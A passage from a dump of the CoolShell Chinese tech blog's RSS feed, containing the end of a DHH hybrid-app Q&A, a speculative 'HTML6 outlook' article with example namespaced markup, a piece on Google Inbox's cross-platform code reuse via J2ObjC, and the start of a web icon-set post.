这样的框架，或者你们自己开发了一个？<br />\nDavid @ 2014-05-08：我们没有使用任何框架。（此处省去xxx字）</p>\n<p>&nbsp;</p>\n<p>Derick @ 2014-05-08：你怎样解决 Android 浏览器渲染速度慢的问题？这也是 Android 平台上更多人倾向开发原生app得原因。<br />\nDavid @ 2014-05-08：不知道你这个结论是近期的还是以前的？Basecamp 的 Android app 在我的 Nexus 5 和 HTC One 上面运行得非常流畅。<br />\nDerick @ 2014-05-08：就是最近。我猜测可能和你使用JavaScript的多少有关系。因为以我个人的经验，Android 上 JavaScript 的运行速度非常慢。如果你感兴趣可以看看下面的文章：<a href=\"https://www.timroes.de/2013/11/23/old-webview-vs-chromium-webview/\" target=\"_blank\">https://www.timroes.de/2013/11/23/old-webview-vs-chromium-webview/</a><br />\nDavid @ 2014-05-08：我们使用了很多JavaScript，当然没有 Web MVC 客户端用得那样多。另外我们使用了 Turbolinks ：）</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12225.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>27</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>HTML6 展望</title>\n\t\t<link>https://coolshell.cn/articles/12206.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12206.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Sat, 06 Dec 2014 04:41:34 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[HTML5]]></category>\n\t\t<category><![CDATA[HTML6]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12206</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>HTML5 概述 HTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了&#60;article&#62;,...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12206.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h3><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-12211 alignright\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6.jpeg\" alt=\"html6\" width=\"225\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/html6.jpeg 225w, https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg 150w, https://coolshell.cn/wp-content/uploads/2014/12/html6-200x200.jpeg 200w\" sizes=\"(max-width: 225px) 100vw, 225px\" /></h3>\n<h3>HTML5 概述</h3>\n<p>HTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了&lt;article&gt;, &lt;section&gt;, &lt;header&gt;这样的标签来帮助开发者更好地组织页面内容。然而 HTML5 规范仍然没有最后定稿，并且它并不是一个真正意义上的语义标记语言。</p>\n<h3>HTML6 展望</h3>\n<p>你有没有曾经希望能在 HTML 中使用自定义标签？比如：使用&lt;logo&gt;来显示你的网站logo，还有使用&lt;toolbar&gt;来显示工具栏等等。我们经常使用&lt;div id=&#8221;container&#8221;&gt;和&lt;div id=&#8221;wrapper&#8221;&gt;来组织页面，在 HTML6 里我们希望可以直接使用象&lt;container&gt;和&lt;wrapper&gt;这样的自定义标签。</p>\n<p>和 XML 一样，HTML6 应该支持 namespace（命名空间），如：xmlns:xhtml=&#8221;http://www.w3.org/1999/xhtml&#8221;</p>\n<p>HTML6 代码样例：</p>\n<p><span id=\"more-12206\"></span></p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;html:meta type=\"title\" value=\"Page Title\"&gt;\n &lt;html:meta type=\"description\" value=\"HTML example with namespaces\"&gt;\n &lt;html:link src=\"css/mainfile.css\" title=\"Styles\" type=\"text/css\"&gt;\n &lt;html:link src=\"js/mainfile.js\" title=\"Script\" type=\"text/javascript\"&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;header&gt;\n &lt;logo&gt;\n &lt;html:media type=\"image\" src=\"images/xyz.png\"&gt;\n &lt;/logo&gt;\n &lt;nav&gt;\n &lt;html:a href=\"/img1\"&gt;a1&lt;/a&gt;\n &lt;html:a href=\"/img2\"&gt;a2&lt;/a&gt;\n &lt;/nav&gt;\n &lt;/header&gt;\n &lt;content&gt;\n &lt;article&gt;\n &lt;h1&gt;Heading of main article&lt;/h1&gt;\n &lt;h2&gt;Sub-heading of main article&lt;/h2&gt;\n &lt;p&gt;[...]&lt;/p&gt;\n &lt;p&gt;[...]&lt;/p&gt;\n &lt;/article&gt;\n &lt;article&gt;\n &lt;h1&gt;The concept of HTML6&lt;/h1&gt;\n &lt;h2&gt;Understanding the basics&lt;/h2&gt;\n &lt;p&gt;[...]&lt;/p&gt;\n &lt;/article&gt;\n &lt;/content&gt;\n &lt;footer&gt;\n &lt;copyright&gt;This site is © to Anonymous 2014&lt;/copyright&gt;\n &lt;/footer&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<p>在上面的代码中，你也许注意到了一些奇怪的&lt;html:x&gt;标签，它们是 W3C 和 HTML6 规范中在命名空间里定义的标签。例如：&lt;html:title&gt;负责设定你浏览器的标题栏文字，&lt;html:media&gt;负责显示图片等等。用户可以自己定义标签以便 JavaScript 和 CSS 识别和处理，这样页面代码会更易读，语义更清晰。</p>\n<h3>HTML6 APIs</h3>\n<p>HTML6 的标签前带有命名空间，如：&lt;html:html&gt;, &lt;html:head&gt;等等。</p>\n<p>1. &lt;html:html&gt;</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;// this is equivalent to &lt;html&gt; tag written in previous HTML versions\n &lt;!-- sample of HTML document --&gt;\n &lt;/html:html&gt;</pre>\n<p>2. &lt;html:head&gt; 和 &lt;head&gt; 标签一样。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;!-- Main content would come here, like the &lt;html:title&gt; tag --&gt;\n &lt;/html:head&gt;\n &lt;/html:html&gt;</pre>\n<p>3. &lt;html:title&gt; 和 &lt;title&gt; 标签类似。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;/html:html&gt;</pre>\n<p>4. &lt;html:meta&gt; 和 &lt;meta&gt; 标签类似，不同之处在于，在 HTML5 中你只能使用标准的元数据类型，如：&#8221;keywords&#8221;, &#8220;description&#8221;, &#8220;author&#8221;等，而在 HTML6 中你可以使用任何元数据类型。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;html:meta type=\"description\" value=\"HTML example with namespaces\"&gt;\n &lt;/html:head&gt;\n &lt;/html:html&gt;</pre>\n<p>5. &lt;html:link&gt; 和 HTML6 之前版本的 &lt;link&gt; 标签类似。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;html:link src=\"js/mainfile.js\" title=\"Script\" type=\"text/javascript\"&gt;\n &lt;/html:head&gt;\n &lt;/html:html&gt;</pre>\n<p>6. &lt;html:body&gt; 和 &lt;body&gt; 标签一样。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;!-- This is where your website content is placed --&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<p>7. &lt;html:a&gt; 和 &lt;a&gt; 标签类似，区别是 &lt;html:a&gt; 只有 &#8220;href&#8221; 一个属性。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;html:a href=\"http://siteurl\"&gt;Go to siteurl.com!&lt;/html:a&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<p>8. &lt;html：button&gt; 和 &lt;button&gt; 及 &lt;input type=&#8221;button&#8221;&gt; 一样。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;html:button&gt;Click Here&lt;/html:button&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<p>9. &lt;html:media&gt; 涵盖 &lt;img&gt;, &lt;video&gt;, &lt;embed&gt; 等标签的所有功能。&lt;html:media&gt; 的好处是你不用根据不同的媒体文件类型使用不同的标签，媒体的类型由浏览器从文件内容（类型属性，扩展名，和MIME type）中来判断。</p>\n<pre>&lt;!DOCTYPE html&gt;\n &lt;html:html&gt;\n &lt;html:head&gt;\n &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;\n &lt;/html:head&gt;\n &lt;html:body&gt;\n &lt;!-- Image would come here --&gt;\n &lt;html:media src=\"img1/logo.jpg\" type=\"image\"&gt;\n &lt;!-- Video doesn't need a type --&gt;\n &lt;html:media src=\"videos/slide.mov\"&gt;\n &lt;/html:body&gt;\n &lt;/html:html&gt;</pre>\n<h3>标签类型(Tag types)概述</h3>\n<p>和 HTML5 一样， HTML6 也有两种标签类型：单标签（single tag) 和双标签（double tag）</p>\n<pre>&lt;html:meta type=\"author\" content=\"single tag\"&gt;\n &lt;html:meta type=\"author\" content=\"double tag\" /&gt;</pre>\n<p>单标签不需要结束符&#8217;/&#8217;</p>\n<h3>结语</h3>\n<p>HTML6 规范还未发布，本文原作者 <a href=\"http://html6spec.com/\">Oscar Godson</a> 只是为我们提供了一个对 HTML6 规范的展望，或者说他希望 HTML6 能够支持的一些新特性。</p>\n<p>原文链接：<a href=\"http://java.dzone.com/articles/look-html6-what-it-and-what\">A Look Into HTML6 &#8211; What Is It, and What Does it Have to Offer?</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12206.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>39</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google Inbox如何跨平台重用代码？</title>\n\t\t<link>https://coolshell.cn/articles/12136.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12136.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[jnj]]></dc:creator>\n\t\t<pubDate>Wed, 26 Nov 2014 00:03:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[iOS]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[移动应用]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12136</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>原文链接《How Google Inbox shares 70% of its code across Android, iOS, and the Web》 开...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12136.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>原文链接《<a href=\"http://arstechnica.com/information-technology/2014/11/how-google-inbox-shares-70-of-its-code-across-android-ios-and-the-web\" target=\"_blank\">How Google Inbox shares 70% of its code across Android, iOS, and the Web</a>》</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-12137 alignright\" src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-300x123.jpg\" alt=\"inbox2-640x264\" width=\"300\" height=\"123\" /></a></p>\n<p>开发一个移动应用在当下并不是一件容易的事情。如果想要获得最多的用户，你的应用通常需要覆盖 iOS, Android, 和 Web 三大平台。这就意味着同一个应用需要开发三个版本，使用 Objective-C 或者 Swift 开发 iOS 版本，使用 Java 开发 Android 版本，使用 JavaScript/CSS/HTML5 开发 Web 版本。工作量增大的同时也意味着有更多的 bug 需要修复。</p>\n<p>这个问题也是 Google 在开发 Google Inbox 时致力要解决的。在最近发布的这款应用中，Google 使用了一些工具实现了70%的代码跨平台复用。</p>\n<p>Google Inbox 覆盖 iOS, Android, Web 三个平台，它们使用的是同一个后台代码逻辑，只是前端的用户体验和平台相关特性的实现有所不同。Google 自主开发了一套辅助工具将 Android 版本的 Java 代码逻辑编译为 Objective-C (针对 iOS 平台) 和 JavaScript (针对 Web 浏览器)。 Java 到 JavaScript 的编译由 Google Web Toolkit SDK 完成，Java 到 Objective-C 的编译则由 J2ObjC （<a href=\"j2objc.org\">j2objc.org</a>）来完成。</p>\n<p>J2ObjC 是一个开源项目，由 Google 在2013年发布。Google Sheets (Google Docs 中的电子表格部分) 也使用了 J2ObjC，而 Google Inbox 则是目前使用 J2Objc 最多的 Google 项目。</p>\n<p>Google Inbox 复用的代码逻辑包括：对话 (conversations)，提醒 (reminders)，联系人 (contacts)。还有网络相关功能和离线同步。这些代码逻辑的复用节省了大量的时间和成本。</p>\n<p>在产品设计时，Google 将这些可复用功能划分为抽象的逻辑概念，比如：提醒的逻辑放在 &#8220;reminder.java&#8221; 中，可以被 Android UI 调用。对 iOS 版本而言，J2ObjC 将 &#8220;reminder.java&#8221; 编译成 Objective-C 代码，再由 iOS UI 调用。</p>\n<p>Google 没有跨平台编译 UI 部分的代码，因为不同平台的UI特性各有不同，盲目统一会导致非常糟糕的用户体验。代码复用只是针对可以共享的后台逻辑，前端的UI实现是完全原生 (native) 的。这与 Xamarin (一个基于 Microsoft C# 的跨平台移动开发工具) 提出的概念类似。</p>\n<p>跨平台代码复用通常会带来一些性能上的问题。Garrick Toubassi，Engineering Director 和 Google Inbox 项目组成员，对此表示： “性能上的影响如果有的话，也可以说是微不足道的。我们做过大量的性能测试。因为没有加入额外的中间层来处理跨平台兼容性，所有代码最后都是平台原生代码。J2ObjC 编译生成的目标代码和 Java 源代码拥有大致相同的对象数量和对象图谱复杂度 (object graph complexity) ”。</p>\n<p>Google 使用的整套方法解决了跨平台移动开发中的一个很重要的问题，同时也推进了安卓先行 (Android-first) 的移动开发策略。</p>\n<p>更多 Google Inbox 文章请猛戳 <a href=\"http://gmailblog.blogspot.com.au/2014/11/going-under-hood-of-inbox.html\">Gmail 官方博客</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Android将允许纯C/C++开发应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_title\">Android将允许纯C/C++开发应用</a></li><li ><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" alt=\"Google App Inventor \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_title\">Google App Inventor </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12136.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-50.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 50 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=50\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 01 Apr 2015 12:45:26 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>50套Web开发图标</title>\n\t\t<link>https://coolshell.cn/articles/3.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:31:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[icons]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是号称最好的50套WEB开发的图标。来源：链接 其它相关的一些文章 30 Amazingly Creative Social Bookmarks Icon ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3.html\">50套Web开发图标</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是号称最好的50套WEB开发的图标。来源：<a href=\"http://speckyboy.com/2009/02/02/50-of-the-best-ever-web-development-design-and-application-icon-sets\" target=\"_blank\">链接</a></p>\n<p>其它相关的一些文章</p>\n<ul>\n<li><a href=\"http://speckyboy.com/2009/01/26/30-amazingly-creative-social-bookmarks-icon-sets\" target=\"_blank\">30 Amazingly Creative Social Bookmarks Icon Sets ?</a></li>\n<li><a href=\"http://speckyboy.com/2009/01/22/42-amazing-photoshop-and-illustrator-icon-design-tutorials\" target=\"_blank\">42 Amazing Photoshop and Illustrator Icon Design Tutorials ?</a></li>\n<li><a href=\"http://speckyboy.com/2008/07/18/35-free-icon-sets-for-your-iphone-pimp-it-up\" target=\"_blank\">35 Free Icon Sets for your iPhone &#8211; Pimp it Up! ?</a></li>\n<li><a href=\"http://speckyboy.com/2008/05/03/top-12-icon-design-video-tutorials\" target=\"_blank\">Top 12 Icon Design Video Tutorials ?</a></li>\n<li><a href=\"http://speckyboy.com/2008/05/03/top-5-free-icon-editors-for-the-pro-designer\" target=\"_blank\">Top 5 Free Icon Editors for the Pro Designer ?</a></li>\n<li><a href=\"http://speckyboy.com/2008/02/05/the-best-icon-search-engines-and-features-for-designers\" target=\"_blank\">The Best Icon Search Engines and Features for Designers ?</a></li>\n</ul>\n<p><span 